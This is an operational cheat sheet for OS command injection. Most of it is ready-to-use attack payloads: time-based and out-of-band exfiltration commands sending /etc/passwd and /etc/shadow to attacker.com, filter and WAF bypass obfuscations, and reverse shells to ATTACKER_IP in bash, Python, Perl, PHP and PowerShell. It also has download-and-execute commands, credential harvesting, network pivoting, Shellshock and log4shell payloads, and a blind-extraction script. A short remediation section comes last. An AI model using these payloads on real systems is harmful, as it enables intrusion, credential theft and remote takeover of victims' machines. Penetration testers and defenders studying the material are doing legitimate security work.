A complete operational reference for OS Command Injection covering detection, in-band, blind (time-based & OOB), filter/WAF bypass, language-specific sinks, reverse shells, post-exploitation, automation with tools, and remediation. Mapped to MITRE ATT&CK T1059 / T1190.
1. Core Concepts & Injection Types
COMMAND INJECTION TAXONOMY:
OS COMMAND INJECTION
├── IN-BAND (output returned in response)
│ ├── Classic — injected command output reflected in page
│ └── Error-based — stderr/exception leaks output
│
├── BLIND (no output in response)
│ ├── Time-based — measure response delay to infer execution
│ └── Out-of-Band (OOB) — exfiltrate data via DNS / HTTP callback
│
└── SECOND-ORDER (stored injection)
└── Payload stored → triggered by later background process
Key Terms:
- Injection Point — parameter where user input is passed unsafely to a shell.
- Shell Metacharacter — special character interpreted by the shell to chain commands (;, |, &&, `, $(), \n).
- Command Chaining — using metacharacters to append additional commands after the intended one.
- Subshell — $(cmd) or `cmd` — executes a command and substitutes its output inline.
- Blind Injection — app executes the injected command but never returns output to the user.
- OOB — Out-of-Band — data exfiltrated via DNS lookup or HTTP request from the server.
- Second-Order — input is stored (e.g. in a database or filename) and later executed by another process/cron.
- Context — the shell context matters: are you inside quotes, inside a script, inside a curl URL, etc.?
Why It Happens: The application passes user-controlled data to a system shell function without sanitization:
# Python — vulnerable
os.system("ping -c 1 " + user_input)
subprocess.call("nmap " + target, shell=True)
# PHP — vulnerable
system("dig " + $_GET['domain']);
exec("whois " . $_POST['ip']);
The OS shell interprets metacharacters in user_input and executes attacker-controlled commands.
2. Detection & Fingerprinting
2.1 Common Injection Points
→ Network utilities: ping, nslookup, dig, traceroute, whois parameters
→ File operations: filename fields, path parameters, archive/convert tools
→ Email fields: recipient address passed to sendmail
→ Search boxes: fed into grep, find, or awk
→ Image/document processors: ImageMagick, ffmpeg, ghostscript
→ URL/domain fields: passed to curl, wget
→ Log viewer parameters: tail -f <user_input>
→ Scheduled job / cron management interfaces
→ Git repository URL fields (git clone <user_input>)
→ API parameters that trigger shell-side processing
2.2 Break & Observe Method
Start with valid input (e.g. 8.8.8.8 for a ping field) and append metacharacters one at a time:
| Append to input | Observation if vulnerable |
|---|---|
8.8.8.8;id |
Output of id appears in response |
8.8.8.8\|id |
id output replaces ping output |
8.8.8.8\|\|id |
id runs only if ping fails |
8.8.8.8&&id |
id runs only if ping succeeds |
8.8.8.8`id` |
Subshell — id output substituted |
8.8.8.8$(id) |
Subshell (POSIX) — same effect |
8.8.8.8%0aid |
URL-encoded newline — newline-separated commands |
8.8.8.8\nid |
Literal newline if decoded server-side |
2.3 Confirming Blind Injection
When there's no output in the response, use time-delay:
# Linux — sleep
; sleep 5
| sleep 5
&& sleep 5
$(sleep 5)
`sleep 5`
# Windows — timeout / ping loop
& timeout /t 5
& ping -n 5 127.0.0.1
# Observe: does the response take ~5 seconds longer? → blind command injection confirmed
2.4 Encoding & Context Awareness
If the parameter is in a URL, values are URL-encoded before reaching the server:
| Character | URL Encoded | Shell Role |
|---|---|---|
; |
%3B |
Command separator |
\| |
%7C |
Pipe |
& |
%26 |
Background / AND |
` |
%60 |
Subshell |
$ |
%24 |
Variable / subshell |
( |
%28 |
Subshell open |
) |
%29 |
Subshell close |
\n |
%0A |
Newline separator |
\r |
%0D |
Carriage return |
<space> |
%20/+ |
Argument separator |
Tip: Always try both raw and URL-encoded forms. Burp Repeater lets you toggle URL encoding per field.
3. Injection Operators Reference
3.1 Linux / Unix Shell Operators
| Operator | Syntax | Behavior | Notes |
|---|---|---|---|
| Semicolon | cmd1; cmd2 |
Run cmd2 regardless of cmd1 exit code | Most universal |
| Pipe | cmd1 \| cmd2 |
stdout of cmd1 → stdin of cmd2 | cmd2 always runs |
| AND | cmd1 && cmd2 |
Run cmd2 only if cmd1 succeeds (exit 0) | Requires prior command to succeed |
| OR | cmd1 \|\| cmd2 |
Run cmd2 only if cmd1 fails (non-zero exit) | Good when you want error path |
| Background | cmd1 & cmd2 |
Run cmd1 in background, then cmd2 | Both run, async |
| Subshell | $(cmd) |
Execute cmd, substitute its output | POSIX standard |
| Backtick | `cmd` |
Execute cmd, substitute its output | Legacy subshell syntax |
| Newline | cmd1\ncmd2 |
Shell treats newline as command separator | Useful when ; is filtered |
| Null byte | cmd%00 |
Terminate string at null byte (C parsing) | Rare, context-dependent |
3.2 Windows CMD Operators
| Operator | Syntax | Behavior |
|---|---|---|
& |
cmd1 & cmd2 |
Run both regardless of exit code |
&& |
cmd1 && cmd2 |
Run cmd2 only if cmd1 succeeds |
\| |
cmd1 \| cmd2 |
Pipe stdout of cmd1 to cmd2 |
\|\| |
cmd1 \|\| cmd2 |
Run cmd2 only if cmd1 fails |
| Newline | cmd1\r\ncmd2 |
New command line in batch context |
3.3 PowerShell Operators
| Operator | Syntax | Behavior |
|---|---|---|
; |
cmd1; cmd2 |
Sequential — both run |
\| |
cmd1 \| cmd2 |
Pipeline — PS objects flow through |
&& |
cmd1 && cmd2 |
Run cmd2 only if cmd1 succeeds (PS 7+) |
\|\| |
cmd1 \|\| cmd2 |
Run cmd2 only if cmd1 fails (PS 7+) |
| Subexpression | $(cmd) |
Execute cmd inline |
4. In-Band Command Injection
HOW IT WORKS:
The output of the injected command is returned directly in the HTTP response —
either embedded in HTML, JSON, XML, or error messages.
4.1 Basic Recon Payloads (Linux)
# Identity & context
;id
;whoami
;id;hostname
;id;uname -a
# Current directory & file listing
;pwd
;ls -la
;ls -la /
# Network info
;ifconfig
;ip a
;hostname -I
;cat /etc/hosts
# Process context
;cat /proc/self/status
;cat /proc/version
# OS info
;cat /etc/os-release
;uname -a
# User enumeration
;cat /etc/passwd
;cut -d: -f1 /etc/passwd
# Environment / secrets
;env
;printenv
;cat /proc/self/environ
4.2 Basic Recon Payloads (Windows)
& whoami
& whoami /all
& hostname
& ipconfig /all
& systeminfo
& net user
& net localgroup administrators
& tasklist
& dir C:\
& type C:\Windows\System32\drivers\etc\hosts
& set
4.3 File Read via In-Band
# Linux
;cat /etc/passwd
;cat /etc/shadow
;cat ~/.ssh/id_rsa
;cat /var/www/html/config.php
;cat /proc/self/environ | tr '\0' '\n'
;find / -name "*.conf" -readable 2>/dev/null | head -20
;find / -name "id_rsa" 2>/dev/null
# Windows
& type C:\inetpub\wwwroot\web.config
& type C:\Windows\win.ini
& type C:\Users\Administrator\Desktop\root.txt
4.4 Space-Free Output Tricks
When output is embedded in a context that strips whitespace or wraps at a certain width:
# Use IFS variable (Internal Field Separator) to create space
cat${IFS}/etc/passwd
# Redirect output to web-accessible file, then fetch it
;id > /var/www/html/out.txt
# Then: curl http://target.com/out.txt
# Base64 encode output to avoid weird chars in response
;id | base64
;cat /etc/passwd | base64 -w 0
5. Blind — Time-Based
HOW IT WORKS:
No command output is returned. Instead, inject a sleep/delay command and measure
whether the HTTP response takes longer than expected. A delay confirms execution.
5.1 Linux Sleep Payloads
# Semicolon separator
; sleep 5
;sleep${IFS}5
# Pipe
| sleep 5
# AND (prior command must succeed)
&& sleep 5
# OR (prior command must fail)
|| sleep 5
# Subshell
$(sleep 5)
`sleep 5`
# Newline (URL-encode as %0A)
%0Asleep%205
# Nested in quotes — context: "ping -c 1 <INPUT>"
"; sleep 5 #
' ; sleep 5 #
5.2 Windows Delay Payloads
# ping loop (each ping ~1s)
& ping -n 6 127.0.0.1
# timeout (Windows Vista+)
& timeout /t 5 /nobreak > nul
# PowerShell
& powershell -c "Start-Sleep 5"
5.3 Blind Data Extraction — Time-Based
Extract data one character at a time by comparing ASCII values and sleeping on match:
# Test if first char of /etc/passwd is 'r' (ASCII 114)
# Delay occurs if true
; if [ $(cut -c1 /etc/passwd) = 'r' ]; then sleep 5; fi
# Extract a specific character's ASCII value using binary search (manual)
; if [ $(cat /etc/passwd | cut -c1 | od -An -tu1 | tr -d ' ') -gt 100 ]; then sleep 5; fi
# Loop-based full extraction (scripted)
; a=$(id | cut -c1); if [ "$a" = "u" ]; then sleep 5; fi
5.4 Python Script — Blind Time-Based Extractor
import requests, time, string
TARGET = "https://target.com/ping"
PARAM = "ip"
DELAY = 5
CHARSET = string.printable.strip()
def is_true(payload):
data = {PARAM: f"127.0.0.1; {payload}"}
start = time.time()
try:
requests.post(TARGET, data=data, timeout=DELAY + 5)
except requests.exceptions.Timeout:
pass
elapsed = time.time() - start
return elapsed >= DELAY
def extract_char(query, pos):
for ch in CHARSET:
payload = f'if [ "$(echo $({query}) | cut -c{pos})" = "{ch}" ]; then sleep {DELAY}; fi'
if is_true(payload):
return ch
return ""
def extract_string(query, max_len=60):
result = ""
for i in range(1, max_len + 1):
ch = extract_char(query, i)
if not ch:
break
result += ch
print(f"[+] Pos {i}: {ch} → {result}")
return result
print("[*] Extracting whoami...")
print(f"[+] Result: {extract_string('whoami')}")
print("[*] Extracting /etc/passwd line 1...")
print(f"[+] Result: {extract_string('head -1 /etc/passwd')}")
6. Blind — Out-of-Band (OOB)
HOW IT WORKS:
Inject a command that makes the server send data to an attacker-controlled
external host via DNS, HTTP, or a TCP connection.
Use Burp Collaborator, interactsh, or a simple netcat listener.
6.1 DNS-Based OOB
# nslookup — most universally available
; nslookup $(whoami).attacker.com
; nslookup $(cat /etc/passwd | head -1 | base64).attacker.com
# curl DNS resolution
; curl http://$(whoami).attacker.com
# ping DNS lookup (not guaranteed to resolve but often does)
; ping -c 1 $(id).attacker.com
# dig
; dig $(whoami).attacker.com
6.2 HTTP-Based OOB (Data Exfiltration)
# curl — most reliable
; curl http://attacker.com/$(whoami)
; curl "http://attacker.com/?data=$(id | base64 -w0)"
; curl "http://attacker.com/?data=$(cat /etc/passwd | base64 -w0)"
; curl "http://attacker.com/?f=$(cat /etc/shadow | base64 -w0)"
# wget
; wget http://attacker.com/$(whoami)
; wget -q "http://attacker.com/?data=$(id | base64)"
# Send file contents via POST
; curl -X POST http://attacker.com/exfil --data-urlencode "f@/etc/passwd"
; curl -F "file=@/etc/shadow" http://attacker.com/upload
# Bash /dev/tcp (no curl/wget needed)
; bash -c 'exec 3<>/dev/tcp/attacker.com/80; echo -e "GET /$(whoami) HTTP/1.0\r\nHost:attacker.com\r\n\r\n" >&3'
6.3 OOB Listener Setup
# Burp Collaborator (Pro) — built-in DNS/HTTP listener
# Generate payload host: abcdef.oastify.com
# interactsh (free & open source alternative)
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client
# Gives you: xxxx.oast.fun → use as callback host
# Simple HTTP server (catch curl/wget)
python3 -m http.server 80
nc -lvnp 80
# DNS logging with tcpdump (if you control a domain)
tcpdump -i eth0 port 53 -n
# netcat TCP listener (for /dev/tcp exfil)
nc -lvnp 4444
6.4 Windows OOB
# nslookup
& nslookup %USERNAME%.attacker.com
# PowerShell HTTP
& powershell -c "Invoke-WebRequest -Uri http://attacker.com/$(whoami)"
& powershell -c "(New-Object Net.WebClient).DownloadString('http://attacker.com/'+$env:USERNAME)"
# DNS via certutil
& certutil -urlcache -split -f http://attacker.com/%USERNAME%/a.txt nul
# SMB-based OOB (no HTTP needed)
& net use \\attacker.com\share
7. Filter & WAF Bypass Techniques
7.1 Space Bypass
# IFS variable (Internal Field Separator — default is space/tab/newline)
cat${IFS}/etc/passwd
id;cat${IFS}/etc/passwd
# Tab character (%09)
cat%09/etc/passwd
# Brace expansion
{cat,/etc/passwd}
# Redirect as space substitute (input redirect)
cat</etc/passwd
# Variable expansion
X=$'cat\x20/etc/passwd';$X
7.2 Command Substitution Variations
# Standard
$(id)
`id`
# Nested
$( $( id ) )
# With whitespace bypass
$(id)
$IFS$9$(id)
# Case manipulation (some shells evaluate variable names case-insensitively on Windows)
$( Id )
7.3 Keyword / Blacklist Bypass
# ── cat is filtered ──
# Use tac (reverse cat)
tac /etc/passwd
# Use less / more / head / tail
less /etc/passwd
head /etc/passwd
tail /etc/passwd
# Use while read loop
while read line; do echo $line; done < /etc/passwd
# Use awk
awk '{print}' /etc/passwd
# Use sed
sed '' /etc/passwd
# Use tr
tr -d '' < /etc/passwd
# Use xxd then decode
xxd /etc/passwd | xxd -r
# ── whoami is filtered ──
who am i
/usr/bin/id
id -un
$( printf '\x77\x68\x6f\x61\x6d\x69' ) # hex-encoded whoami
# ── id is filtered ──
$(printf '\151\144') # octal-encoded id
$(echo -e '\x69\x64') # hex in echo
# ── /etc/passwd is filtered ──
/???/pa??wd # glob matching
/etc/p?sswd
/etc/./passwd # dot traversal
cat /etc/'passwd'
7.4 String Obfuscation
# Variable slicing and concatenation
a=cat;b=/etc/passwd;$a $b
a=c;b=at;$a$b /etc/passwd
# Quote insertion (quotes inside a string are ignored by shell)
c'at' /etc/passwd
c"at" /etc/passwd
w'ho'am'i'
# Backslash escape (bash ignores \ before non-special chars)
c\at /etc/passwd
wh\oami
# Environment variables
echo $HOME # leaks info
${PATH:0:1} # extracts '/' from $PATH for path building
${SHELL} # /bin/bash
# Build /etc/passwd from variables
P="/etc/passwd"
cat $P
# Hex encoding via printf or echo
$(printf '\x63\x61\x74 \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64')
# decodes to: cat /etc/passwd
7.5 Operator Substitution
# If ; is filtered → use newline (%0A)
cmd1%0Acmd2
# If | is filtered → use ;
cmd1;cmd2
# If both | and ; are filtered → use &&
cmd1&&cmd2
# If & is filtered → use $(cmd)
$(id)
# If all separators are filtered → use pipes with allowed chars
echo "id" | bash
echo "id" | sh
echo -n "aWQ=" | base64 -d | bash # base64("id") → run in bash
7.6 Encoding & Case Manipulation
# URL encoding (if app double-decodes)
%3B → ;
%7C → |
%26 → &
%0A → \n
# Double URL encoding
%253B → %3B → ;
# Unicode normalization (rare — depends on WAF/framework)
; (U+FF1B, fullwidth semicolon) → may normalize to ;
# Bash case is irrelevant — commands are case-sensitive on Linux
# On Windows CMD:
wHoAmI
WHOAMI
7.7 Redirection Tricks
# Redirect stderr to stdout (see errors)
;id 2>&1
# Write output to file, then read via another parameter
;id>/var/www/html/x.txt
# then: GET /x.txt
# Read file without cat using redirect
;bash -c 'echo < /etc/passwd' # not useful
;while read x; do echo $x; done</etc/passwd
# Use cp to bring sensitive file to web root
;cp /etc/passwd /var/www/html/p.txt
8. Language & Framework Sinks
8.1 PHP
// Vulnerable sinks:
system($input);
exec($input, $output);
shell_exec($input);
passthru($input);
popen($input, 'r');
proc_open($input, ...);
`$input`; // backtick operator
preg_replace('/e', $replacement, $subject); // /e modifier — deprecated but old code
// Vulnerable example:
$ip = $_GET['ip'];
system("ping -c 1 " . $ip); // inject: 127.0.0.1; id
// Also: mail() passes 5th arg to sendmail -f (header injection → CI)
mail($to, $subject, $body, $headers, "-f" . $from);
// Inject in $from: attacker@x.com\n-oQ/tmp/\n-X/var/www/html/shell.php
8.2 Python
# Vulnerable sinks:
os.system(input)
os.popen(input)
subprocess.call(input, shell=True) # shell=True is the danger
subprocess.run(input, shell=True)
subprocess.Popen(input, shell=True)
commands.getoutput(input) # Python 2
eval(input) # may lead to CI via __import__
# Vulnerable example:
import subprocess
domain = request.args.get('domain')
result = subprocess.check_output(f"dig {domain}", shell=True)
# Inject: google.com; id
# SAFE alternative:
result = subprocess.check_output(["dig", domain]) # no shell=True, list form
8.3 Node.js
// Vulnerable sinks:
const { exec } = require('child_process');
exec('ping ' + userInput, callback); // vulnerable
const execSync = require('child_process').execSync;
execSync('nslookup ' + domain); // vulnerable
// Also vulnerable:
eval(userInput)
new Function(userInput)()
// SAFE:
const { execFile } = require('child_process');
execFile('ping', ['-c', '1', userInput], callback); // args as array, no shell
8.4 Java
// Vulnerable sinks:
Runtime.getRuntime().exec("cmd " + userInput); // string form
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "cmd " + userInput);
// Spring/Groovy:
Eval.me(userInput) // Groovy eval
// SAFE:
String[] cmd = {"ping", "-c", "1", userInput};
Runtime.getRuntime().exec(cmd); // array form — no shell interpolation
8.5 Ruby
# Vulnerable sinks:
system("ping " + params[:ip])
`ping #{params[:ip]}`
exec("nmap " + target)
IO.popen("dig " + domain)
eval(user_input)
# SAFE:
system("ping", "-c", "1", params[:ip]) # array form — no shell
8.6 Perl
# Vulnerable sinks:
system("ping " . $input);
`ping $input`;
open(FH, "dig $domain |");
exec("nslookup " . $host);
eval($code);
# SAFE:
system("ping", "-c", "1", $input); # list form
8.7 ImageMagick (CVE-2016-3714 — ImageTragick)
# Malicious image filename / content processed by convert
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id ")'
pop graphic-context
# Payload in policy.xml bypass
convert 'https://attacker.com/`id`.png' out.png
# MSL (Magick Scripting Language) injection
# Upload file with .msl extension processed by ImageMagick
8.8 log4shell-Style (JNDI Injection → RCE)
# Though technically JNDI injection (not OS CI), often treated alongside CI
# Payload in any logged header:
${jndi:ldap://attacker.com/a}
${jndi:ldaps://attacker.com/a}
${jndi:rmi://attacker.com/a}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a}
# Inject into: User-Agent, X-Forwarded-For, Accept-Language, username fields
9. Windows-Specific Techniques
9.1 CMD Recon
& whoami
& whoami /priv
& whoami /groups
& whoami /all
& net user
& net localgroup
& net localgroup Administrators
& hostname
& ipconfig /all
& systeminfo
& tasklist /v
& netstat -ano
& reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion
& dir C:\Users\
& type C:\Users\Administrator\Desktop\root.txt
& dir /s /b C:\ 2>nul | findstr /i "password"
9.2 PowerShell via CMD Injection
# Launch PowerShell from CMD injection
& powershell -c "whoami"
& powershell -enc <base64-encoded-command>
& powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
# Bypass execution policy
& powershell -ep bypass -c "whoami"
# Encoded command (avoids quote escaping issues)
# Encode: powershell -c "whoami" → base64 UTF-16LE
echo -n 'whoami' | iconv -f UTF-8 -t UTF-16LE | base64
& powershell -enc dwBoAG8AYQBtAGkA
9.3 Windows Bypass Techniques
# Obfuscation via environment variables
%COMSPEC% /c whoami # %COMSPEC% = C:\Windows\System32\cmd.exe
%windir%\system32\cmd.exe /c id
# Environment variable substrings
%ComSpec:~0,1% # → C
# Build "calc" from substrings: complex but viable
# Cmd caret (^) escape character
w^h^o^a^m^i
wh^oam^i
# PowerShell tick escape
wh`oami
who`ami
# Double quote insertion
who"ami"
9.4 Windows File Read
& type C:\Windows\System32\drivers\etc\hosts
& type C:\inetpub\wwwroot\web.config
& more C:\Windows\win.ini
& findstr /si "password" C:\*.xml C:\*.config C:\*.txt
& dir /s /b "C:\Users\" 2>nul
10. Reverse Shell Payloads
10.1 Setup Listener
# Standard netcat listener
nc -lvnp 4444
# Socat (better shell — gets a proper TTY)
socat tcp-listen:4444,reuseaddr,fork file:`tty`,raw,echo=0
# pwncat-cs (most featureful)
pwncat-cs -lp 4444
10.2 Linux Reverse Shells
# ── bash ──
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/4444; sh <&196 >&196 2>&196
# ── sh ──
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# ── python3 ──
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# ── python2 ──
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# ── perl ──
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# ── ruby ──
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# ── netcat (with -e) ──
nc -e /bin/sh ATTACKER_IP 4444
# ── netcat (without -e — mkfifo) ──
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
# ── socat ──
socat TCP:ATTACKER_IP:4444 EXEC:/bin/sh
# ── PHP ──
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("ATTACKER_IP",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
# ── Java ──
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKER_IP/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
# ── awk ──
awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
10.3 Windows Reverse Shells
# PowerShell TCP reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Nishang reverse shell (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress ATTACKER_IP -Port 4444
# netcat for Windows (if available)
nc.exe ATTACKER_IP 4444 -e cmd.exe
# mshta (scriptlet)
mshta.exe http://ATTACKER_IP/shell.sct
10.4 Upgrade Shell to Fully Interactive TTY
# After catching a dumb shell:
# Method 1 — Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then Ctrl+Z → background
stty raw -echo; fg
# Press Enter twice
export TERM=xterm
stty rows 40 cols 180
# Method 2 — socat listener (full TTY from start)
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
# Method 3 — rlwrap (partial improvement)
rlwrap nc -lvnp 4444
# Method 4 — pwncat-cs (automatic upgrade)
pwncat-cs -lp 4444
11. Post-Exploitation via Command Injection
11.1 File Download to Target
# curl
curl http://ATTACKER_IP/linpeas.sh -o /tmp/lpe.sh && bash /tmp/lpe.sh
# wget
wget http://ATTACKER_IP/linpeas.sh -O /tmp/lpe.sh
# bash /dev/tcp (no curl/wget)
bash -c 'exec 3<>/dev/tcp/ATTACKER_IP/80; echo -e "GET /file.sh HTTP/1.0\r\nHost:ATTACKER_IP\r\n\r\n" >&3; cat <&3 > /tmp/f.sh'
# Python
python3 -c "import urllib.request; urllib.request.urlretrieve('http://ATTACKER_IP/f.sh','/tmp/f.sh')"
# Windows (PowerShell)
IWR http://ATTACKER_IP/f.exe -OutFile C:\Windows\Temp\f.exe
(New-Object Net.WebClient).DownloadFile('http://ATTACKER_IP/f.exe','C:\Temp\f.exe')
# Windows certutil
certutil -urlcache -split -f http://ATTACKER_IP/f.exe C:\Temp\f.exe
11.2 Privilege Escalation Shortcuts
# Drop linpeas
curl http://ATTACKER_IP/linpeas.sh | bash
# Check sudo without password
sudo -l
# SUID binaries
find / -perm -u=s -type f 2>/dev/null
# World-writable files
find / -writable -type f 2>/dev/null | grep -v /proc | grep -v /sys
# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# Capabilities
getcap -r / 2>/dev/null
11.3 Credential Harvesting
# Config files
grep -r "password" /var/www/ 2>/dev/null
grep -r "DB_PASS\|DATABASE_PASSWORD\|db_password" /var/www/ 2>/dev/null
find / -name "*.env" -readable 2>/dev/null
find / -name "config.php" -readable 2>/dev/null
find / -name "settings.py" -readable 2>/dev/null
find / -name "application.properties" -readable 2>/dev/null
# SSH keys
find / -name "id_rsa" -readable 2>/dev/null
find / -name "*.pem" -readable 2>/dev/null
cat ~/.ssh/authorized_keys
# History files
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.python_history
cat ~/.mysql_history
# Credential files
cat /etc/passwd
cat /etc/shadow # if readable → crack with hashcat
11.4 Network Pivoting via Shell
# Port scan internal network from victim
for i in $(seq 1 254); do (ping -c 1 192.168.1.$i &>/dev/null && echo "192.168.1.$i up") &; done
# Simple TCP port check
bash -c 'cat /dev/null > /dev/tcp/192.168.1.5/22 && echo open || echo closed'
# Create SOCKS proxy with SSH (if you have creds)
ssh -D 1080 user@VICTIM -N -f
# Upload chisel for SOCKS proxy
# Attacker:
./chisel server -p 9001 --reverse
# Victim:
./chisel client ATTACKER_IP:9001 R:1080:socks
12. Automation — commix & Other Tools
12.1 commix — Command Injection Exploitation Tool
# Basic scan — GET parameter
commix --url="http://target.com/ping.php?ip=127.0.0.1"
# POST parameter
commix --url="http://target.com/ping.php" --data="ip=127.0.0.1"
# Specific parameter
commix --url="http://target.com/ping.php?ip=127.0.0.1" -p ip
# Cookie-based injection
commix --url="http://target.com/" --cookie="session=abc; ip=127.0.0.1"
# Custom header
commix --url="http://target.com/" -H "X-IP: 127.0.0.1"
# Use Burp request file
commix -r /tmp/request.txt
# Specify injection technique
commix --url="..." --technique=classic # in-band
commix --url="..." --technique=timebased # blind time-based
commix --url="..." --technique=semiblind # file-based
# Skip question prompts
commix --url="..." --batch
# Run OS commands
commix --url="..." --os-cmd="id"
commix --url="..." --os-cmd="cat /etc/passwd"
# Drop into interactive shell
commix --url="..." --os-shell
# Get a reverse shell
commix --url="..." --os-shell --reverse-tcp --ip=ATTACKER_IP --port=4444
# Authentication
commix --url="..." --auth-type=basic --auth-cred="admin:pass"
# WAF bypass options
commix --url="..." --tamper=space2ifs # space → ${IFS}
commix --url="..." --tamper=base64encode
commix --url="..." --level=3 # probe more aggressively
12.2 Burp Suite — Active Scan & Manual Testing
# Manual testing in Burp Repeater:
1. Send request with valid param to Repeater
2. Append ; sleep 5 — watch response time
3. Try all operator variants (|, &&, ||, $(), newline)
4. Try OOB with Burp Collaborator payload:
; nslookup $(whoami).BURP_COLLAB_HOST
; curl http://BURP_COLLAB_HOST/$(id|base64)
# Burp Active Scan — Command Injection checks:
- Right-click request → Scan → Active Scan
- Burp will test time-based and OOB (Collaborator) payloads automatically
12.3 Nuclei Templates
# Run all command injection templates
nuclei -u http://target.com -t nuclei-templates/vulnerabilities/generic/command-injection* -v
# Time-based blind CI templates
nuclei -u http://target.com -t nuclei-templates/vulnerabilities/generic/ -tags blind
# Network-level CI (e.g. Shellshock)
nuclei -u http://target.com -t nuclei-templates/vulnerabilities/apache/ -tags shellshock
12.4 Specialized Payloads — Shellshock (CVE-2014-6271)
# Shellshock in User-Agent (classic):
User-Agent: () { :; }; /bin/bash -c 'id'
User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# Shellshock in other headers:
Referer: () { :; }; echo; /bin/bash -c 'id'
Cookie: () { :; }; echo; /bin/bash -c 'id'
X-Forwarded-For: () { :; }; echo; id
# curl exploit:
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' http://target.com/cgi-bin/status
13. Remediation
13.1 Primary Defense — Avoid Shell Calls
# ── Python — WRONG ──
os.system("ping -c 1 " + user_ip)
subprocess.call("ping -c 1 " + user_ip, shell=True)
# ── Python — SAFE ──
# Pass command as list, shell=False (default)
result = subprocess.run(["ping", "-c", "1", user_ip], capture_output=True, timeout=10)
// ── Node.js — WRONG ──
exec('ping -c 1 ' + userIp, callback)
// ── Node.js — SAFE ──
execFile('ping', ['-c', '1', userIp], callback)
// ── PHP — WRONG ──
system("ping -c 1 " . $_GET['ip']);
// ── PHP — SAFE ──
$ip = escapeshellarg($_GET['ip']);
system("ping -c 1 " . $ip);
// Better: validate IP via filter_var first, then run
if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
system("ping -c 1 " . escapeshellarg($_GET['ip']));
}
13.2 Input Validation (Allowlist)
import re
import ipaddress
def validate_ip(ip):
try:
ipaddress.ip_address(ip)
return True
except ValueError:
return False
def validate_domain(domain):
pattern = r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{0,253}[a-zA-Z0-9]$'
return bool(re.match(pattern, domain))
# Use BEFORE any subprocess call
if not validate_ip(user_input):
abort(400, "Invalid IP address")
13.3 Shell Escaping Functions
# PHP:
escapeshellarg($input) # wraps in single quotes, escapes internal single quotes
escapeshellcmd($input) # escapes shell metacharacters
# Prefer escapeshellarg — more reliable
# Python — shlex.quote
import shlex
safe = shlex.quote(user_input)
os.system(f"ping -c 1 {safe}") # still not ideal — prefer list form
# Ruby — Shellwords.escape
require 'shellwords'
safe = Shellwords.escape(user_input)
13.4 Defense-in-Depth
PRIMARY CONTROL:
├── Avoid shell calls entirely — use native library functions
│ (e.g. DNS: dnspython, Ping: socket ICMP, HTTP: requests)
├── If shell call required → pass args as array (never string concat)
└── Strict input validation via allowlist (regex, type checking)
SECONDARY CONTROLS:
├── escapeshellarg / escapeshellcmd on all shell params
├── Run app process as low-privilege user (no root, no sudo)
├── Restrict outbound network from app server (blocks OOB)
├── chroot / namespaces / containers → limit blast radius
├── Seccomp / AppArmor / SELinux → restrict allowed syscalls
